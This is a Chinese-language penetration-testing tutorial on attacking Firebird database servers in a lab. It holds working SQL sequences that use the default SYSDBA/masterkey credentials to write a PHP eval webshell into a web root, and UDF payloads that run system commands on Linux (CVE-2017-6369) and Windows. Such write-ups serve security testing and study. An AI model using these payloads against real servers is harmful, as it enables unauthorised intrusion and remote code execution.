Firebird数据库提权姿势总结

2022-05-10 00:00:00 数据库 执行 默认 写入 端口
在一次端口探测中,发现了3050端口,时间没想到是什么服务在运行,查了查,居然是冷门的Firebird

翻看了网上的资料,几乎没有。在国外看到一个汇总贴,但里面存在几处报错情况,作者却以某些情况下可能会执行成功,一笔带过了,而报错原因就在官方文档写着,属于某些较新版本的安全调整。

Firebird实在是冷门,在某友人鼓励下,遂有此文。

1

Firebird数据库简介

Firebird是一个跨平台的关系数据库系统,目前能够运行在Windowslinux和各种Unix操作系统上,提供了大部分SQL-99标准的功能。它既能作为多用户环境下的数据库服务器运行,也提供嵌入式数据库的实现。

Firebird脱胎于Borland公司的开源版数据库Interbase6.0,是一个完全非商业化的产品,用CC++开发。由于与interbase的血缘关系,大部分interbase的开发工具可以直接应用到Firebird开发中。Firebird使用MozillaPublic License v.1.1许可证发行。

一个Firebird数据库服务器能够管理多个独立的数据库,每一个数据库同时可支持多个客户端连接。

准备环境和工具:


安装Firebird,我选择在Windows Server 2019安装了Firebird服务端。

安装包地址:

"http://firebirdsql.org/en/firebird-3-0-7/"

靶机IP:10.211.55.5 ,部署好以后重启,会默认开放3050端口。

在Kali安装Firebird客户端,首先执行:

    sudo apt-get -y install firebird3.0-utils

    也可以试试跨平台的图形化工具flamerobin。

    地址:

    "https://github.com/mariuz/flamerobin/releases"

    安装过程中,默认以SuperServer模式运行,如果一直按Next,注意看英文小字,不输入用户名和密码,默认用户名就是SYSDBA,默认密码masterkey。

    安装好之后重启,对外开放默认端口3050。


    创建或者次连接数据库的同时,必须使用该用户名以及密码来实现访问,否则会报错。具体命令如下:

      SQL>createdatabase '[新建数据库的路径以及名称,后缀名称为.FDB]'user 'sysdba' password 'masterkey';

      需要说明的是,一条命令一定是以“;”结束的。否则会在下一行显示“CON>”,即继续之前的命令。

      快速入门——官方文档参考:

      "https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html"

      2

      3种姿势

      介绍一下Firebird写webshell的3种姿势。

      常规的SQL语句写webshell


      这一种方法通用性好,可以在足够权限的路径下,创建任意后缀的文件。但缺点就是生成的webshell体积大,创建简单的一句话木马,大小就超过1Mb,有许多数据库写入的脏字符。

      如果你的webshell代码特别多,选用下文的第三种方法。执行完几行SQL语句,后要EXIT才会成功写入文件。

        CREATEDATABASE '10.211.55.5/3050:C:\webroot\shell.php' user 'SYSDBA'password 'masterkey';
        CREATETABLE a ( x BLOB);
        INSERTINTO a VALUES ('<?php eval(@$_POST["pass"]);?>');
        COMMIT;
        EXIT;


        外部表写webshell


        先创建一个不存在的数据库文件,然后创建外部表。外部表就是我们的webshell,再对其写入内容,但是由于firebird.conf的默认安全配置,写入被阻止了。


          CREATEDATABASE '10.211.55.5/3050:C:\non-existent-file' user 'SYSDBA'password 'masterkey';
          CREATETABLE a EXTERNAL 'C:\wwwroot\mytest.asp' ( x char(2000));
          INSERTINTO a values ('<%= date() %>');

          不推荐实战使用,非默认配置才能成功,需要管理员修改配置文件firebird.conf,参考官方文档说明:

          "https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external"

          增量写shell


          先创建一个不存在的数据库文件,再创建额外的增量文件,执行备份,写入webshell内容,这种方法在新的Firebird测试下有效,虽然还有脏字符,但是生成的webshell文件只有64KB,能正常执行,推荐采用这种方式提权。

            CREATEDATABASE '10.211.55.5/3050:C:\temp\non-existent-file' user 'SYSDBA'password 'masterkey';
            CREATETABLE a( x blob);
            ALTERDATABASE ADD DIFFERENCE FILE 'C:\webroot\shellC.php';
            ALTERDATABASE BEGIN BACKUP;
            INSERTINTO a VALUES ('<?php eval(@$_POST["pass"]);?>');
            COMMIT;
            EXIT;


            3

            UDF提权


            Linux的UDF提权CVE-2017-6369这个漏洞,影响范围Firebird2.5.x< 2.5.7 和3.0.x <3.0.2,该漏洞是由于默认安全配置是”UdfAccess= Restrict UDF“,允许任意权限的数据库用户通过调用fbudf.so执行代码。攻击代码如下:


              SQL>DECLARE EXTERNAL FUNCTION exec cstring(4096) RETURNS integer BY VALUEENTRY_POINT 'system' MODULE_NAME 'fbudf';


              SQL>SELECT FIRST 1 exec('<COMMAND>') FROM any_table LIMIT 1;

              windows的UDF提权


              对应的windows的UDF提权攻击代码如下,在新版本中被限制了:

                CREATEDATABASE '10.211.55.5/3050:C:\temp\non-existent-file1' user 'SYSDBA'password 'masterkey';
                DECLAREEXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BYVALUE ENTRY_POINT 'WinExec' MODULE_NAME'c:\windows\system32\kernel32.dll';
                SELECTFIRST 1 EXEC('<COMMAND>', 1) FROM any_table LIMIT 1;


                参考文档:

                "https://firebirdsql.org/rlsnotesh/config-fb-conf.html"

                亲测了一下,可以调用Firebird安装目录UDF文件夹的dll文件,比如:

                  C:\ProgramFiles\Firebird\Firebird30\UDF\fbudf.dll

                  Firebird的安全防范手段和高版本的MYSQL一样,要完成UDF提权,就要配合其他漏洞了。

                  4

                  总结


                  本文主要介绍了Firebird数据库提权,包括3种SQL语句写webshell的姿势,以及不同平台下的UDF提权。其他的RCE漏洞可以参考metasploit攻击模块,但是都挺有年代感了。

                  以下是参考资料:

                  "https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html"

                  "https://www.infosecmatter.com/firebird-database-exploitation/"

                  "https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external"

                  "http://tracker.firebirdsql.org/browse/CORE-5474"

                  来源 https://www.modb.pro/db/382226

                  相关文章